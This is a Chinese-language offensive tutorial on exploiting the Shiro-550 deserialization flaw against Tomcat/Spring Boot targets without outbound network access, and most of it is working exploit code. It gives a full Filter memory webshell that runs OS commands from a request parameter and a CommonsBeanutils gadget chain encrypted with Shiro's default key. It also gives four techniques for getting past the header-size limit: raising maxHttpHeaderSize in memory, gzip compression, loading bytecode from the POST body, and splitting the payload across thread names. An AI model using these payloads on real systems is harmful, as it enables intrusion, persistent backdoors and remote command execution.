介绍

当我们实战遇到 Shiro-550 漏洞可以打反序列化的时候,如果目标靶机无法出网,我们怎么想办法回显命令执行的结果?

这里最直接的思路是打内存马回显,但是由于 Shiro-550 反序列化的数据在 Headercookie 中,如果直接打内存马会导致 Payload 的长度过长,从而可能超过中间件对 Header 的长度限制 server.max-http-header-sizeTomcat 默认是 8kb )。

环境: jdk-8u333SpringBoot-2.7.18Shiro-1.2.4

我们直接打入下面的 Filter 内存马发现长度是 9004 刚好超了一点。

打入时会报错:

内存马代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.Scanner;

public class FilterMemShellExp implements Filter {
public FilterMemShellExp() throws NoSuchFieldException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();

// 注意这里的contextClassLoader实际是ParallelWebappClassLoader类型的(WebappClassLoaderBase抽象类的子类),resources属性在WebappClassLoaderBase类中
// 因此这里获取resources属性需要在其父类去找,getDeclaredField()无法获取父类的属性
Field resources = null;
try {
// 这里jsp和spring的resource路径不一样,jsp只需要一次getSuperclass,SpringBoot需要两次,所以这里最好都试一下
resources = contextClassLoader.getClass().getSuperclass().getDeclaredField("resources");
System.out.println("非SpringBoot环境");
} catch (NoSuchFieldException e) {
try {
resources = contextClassLoader.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
System.out.println("SpringBoot环境");
} catch (NoSuchFieldException e2){
e2.printStackTrace();
}
}
resources.setAccessible(true);
StandardRoot standardRoot = null;
try {
standardRoot = (StandardRoot) resources.get(contextClassLoader);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}

StandardContext standardContext = (StandardContext) standardRoot.getContext();

Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

String name = "justdoit";

Filter filter = new FilterMemShellExp("xxx");

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
//拦截的路由规则,/* 表示拦截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

// 将filterMap注册到standardContext.filterMaps中
standardContext.addFilterMapBefore(filterMap);

// 根据前面的filterDef和standardContext创建一个ApplicationFilterConfig对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

// 将filterConfig注册到standardContext.filterConfigs中
filterConfigs.put(name, filterConfig);
}

public FilterMemShellExp(String aaa){}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException {
//这里写上我们后门的主要代码
String cmd = req.getParameter("cmd");
if (cmd == null) {
return;
}
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
//别忘记带这个,不然的话其他的过滤器可能无法使用
filterChain.doFilter(req, res);
}

@Override
public void destroy() {

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Queue;
import static java.util.Base64.getDecoder;

public class cb_shiro_exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("FilterMemShellExp");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ctClass.toBytecode()});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();

byte[] payload = baos.toByteArray();

AesCipherService aes = new AesCipherService();
byte[] key = getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalPayload = aes.encrypt(payload, key);
String poc = finalPayload.toString();
System.out.println(poc);
System.out.println(poc.length());
}
}

接下来就是要介绍怎么战胜这里的困境来回显命令执行的结果。

修改maxHttpHeaderSize

分析

我们既然可以打入内存马,那改一下 Tomcat 的参数肯定也是可以实现的,找一下 maxHttpHeaderSize 这个参数存在那里然后修改大一点就可以了。

我们可以发现修改 httpMaxHeaderSizePayload 的长度大概在 6000 多,是可以过 Tomcat 的默认值的监测的。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.catalina.webresources.StandardRoot;

import java.lang.reflect.Field;

public class Evil1 {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// 这里applicationContext的获取方式适用于Tomcat低版本,因为高版本webappClassLoaderBase的getResources()方法被废弃了,会返回null
// org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
// 这里适用于Tomcat高版本
Field resourcesField = webappClassLoaderBase.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
resourcesField.setAccessible(true);
StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(standardRoot.getContext());

org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
// 筛选http协议
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(), 10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
System.out.println("修改成功");
} catch (Exception e) {
System.out.println("修改失败");
}
}
}

将class bytes使用gzip+base64压缩编码

介绍

原理正如标题已经很清楚了。实测压缩后内存马的长度会从 7000 多降低到 3000 多,但是注入的命令执行的类的长度还是在 8000 多会超过 Tomcat 的默认 maxHttpHeaderSize 的限制。所以这个方法不是很建议使用。

POC

第一步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.codec.Base64;

import java.io.ByteArrayOutputStream;
import java.util.zip.GZIPOutputStream;

public class Demo {
public static void main(String[] args) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("FilterMemShellExp");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytecode = ctClass.toBytecode();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos);
gzipOutputStream.write(bytecode);
gzipOutputStream.close();

System.out.println(Base64.encodeToString(baos.toByteArray());
}
}

第二步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import sun.misc.BASE64Decoder;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.zip.GZIPInputStream;

public class Evil6 {
static {
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "Gzip+Base64压缩后的类";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
try {
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ByteArrayInputStream bais = new ByteArrayInputStream(b64Decoder.decodeBuffer(codeClass));
GZIPInputStream gzip = new GZIPInputStream(bais);
byte[] buffer = new byte[256];
int n;
while ((n = gzip.read(buffer)) >= 0) {
baos.write(buffer, 0, n);
}
byte[] byteArray = baos.toByteArray();
((Class) defineClass.invoke(currentClassloader, byteArray, 0, byteArray.length)).newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}
}

将内存马写入POST请求体

分析

Header 的长度受限但是 Body 是不受限的,所以我们可以把内存马的字节码放到请求体中,然后在命令执行的时候从请求体中拿到字节码,然后动态类加载。

POC

第一步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.codec.Base64;

public class Demo {
public static void main(String[] args) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("FilterMemShellExp");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytecode = ctClass.toBytecode();
System.out.println(Base64.encodeToString(bytecode));
}
}

第二步:

请求时 url 必须加上 demo 才会加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import org.apache.catalina.webresources.StandardRoot;

import java.lang.reflect.Field;

public class Evil5 {

static {
try {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
// 低版本Tomcat
// org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext();

Field resourcesField = webappClassLoaderBase.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
resourcesField.setAccessible(true);
StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(standardRoot.getContext());

java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
serviceField.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);

org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();

for (int i = 0; i < connectors.length; i++) {
if (connectors[i].getScheme().contains("http")) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
getHandlerMethod.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);

java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);

java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);

//通过QueryString筛选
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);
if (requestInfo.getCurrentUri().contains("demo")){
System.out.println("success");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);

String classData = request.getParameter("classData");
System.out.println(classData);
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
((Class) defineClassMethod.invoke(Evil5.class.getClassLoader(), classBytes, 0, classBytes.length)).newInstance();
break;
}

}
}
}

} catch (Exception e) {
e.printStackTrace();
}
}
}

将内存马分段写入线程名

分析

这个方法和上面的类似,我们可以先通过命令执行将 Tomcat 的某一个线程名写一个特殊值,然后接下来将内存马的 payload 拆分为几块分批添加到这个线程名的后面,最终 Tomcat 的某个线程名就会为某个特殊值拼接内存马的 payload (线程名的长度是没有限制的)。

这样子理论上只要我们将内存马的 payload 拆分的越细,那么单个 payload 的长度就会越短。虽然有点麻烦,但是适合于 maxHttpHeaderSize 要求在很小的情况下。

然后最后根据特殊值找到这个存储了内存马 payload 的线程,然后根据这个线程的线程名来动态类加载。

实测把内存马的 payload 分为四份那么每次 payload 的长度就差不多可以控制在 6000 以下。

POC

第一步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.codec.Base64;

public class Demo {
public static void main(String[] args) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("FilterMemShellExp");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytecode = ctClass.toBytecode();
System.out.println(Base64.encodeToString(bytecode));
}
}

第二步:

1
2
3
4
5
public class Evil2 {
static {
Thread.currentThread().setName("justdoit");
}
}

第三步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.lang.reflect.Field;

public class Evil3 {
static {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
try {
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
for (Thread thread : threads) {
if (thread.getName().contains("justdoit")) {
thread.setName(thread.getName() + "<分片的内存马payload>");
break;
}
}
} catch (Exception e) {}
}
}

第四步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.shiro.codec.Base64;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Evil4 {
static {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
try {
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
for (Thread thread : threads) {
if (thread.getName().contains("justdoit")) {
String payload = thread.getName().replaceAll("justdoit", "");
System.out.println("payload = " + payload);
byte[] decode = Base64.decode(payload);
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
((Class)defineClassMethod.invoke(threadGroup.getClass().getClassLoader(), decode, 0, decode.length)).newInstance();
System.out.println("注入成功");
break;
}
}
} catch (Exception e) {}
}
}

总结

在实战中针对默认情况,第三种方法是最方便和最稳定的,如果是在 CTF 比赛中,特意改小了 maxHttpHeaderSize 的值,需要控制 Payload 的长度很短,此时就得用比较麻烦的第四种方法了。
此外,我们可以发现最原生注入内存马的打法其实 payload 的长度也没有超过很多,大概超了 1000 多,所以我们或许可以使用 终极字节码技术来缩短 payload 的长度也是可以的,这里以后再单独研究。

参考文章

https://xz.aliyun.com/t/12537
https://xz.aliyun.com/t/14107
https://xz.aliyun.com/t/10696
https://blog.csdn.net/weixin_68320784/article/details/124181206
https://zhuanlan.zhihu.com/p/395443877
https://myzxcg.com/2021/11/Shiro-%E5%9B%9E%E6%98%BE%E4%B8%8E%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC
https://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247489588&idx=1&sn=0aa89b8828dc3e058ddbef69e2980790&chksm=c2d4d32cf5a35a3a54d164198cf7a29bea915a8c0e00d76d47231090cec35630f393ecd5d89d&scene=21#wechat_redirect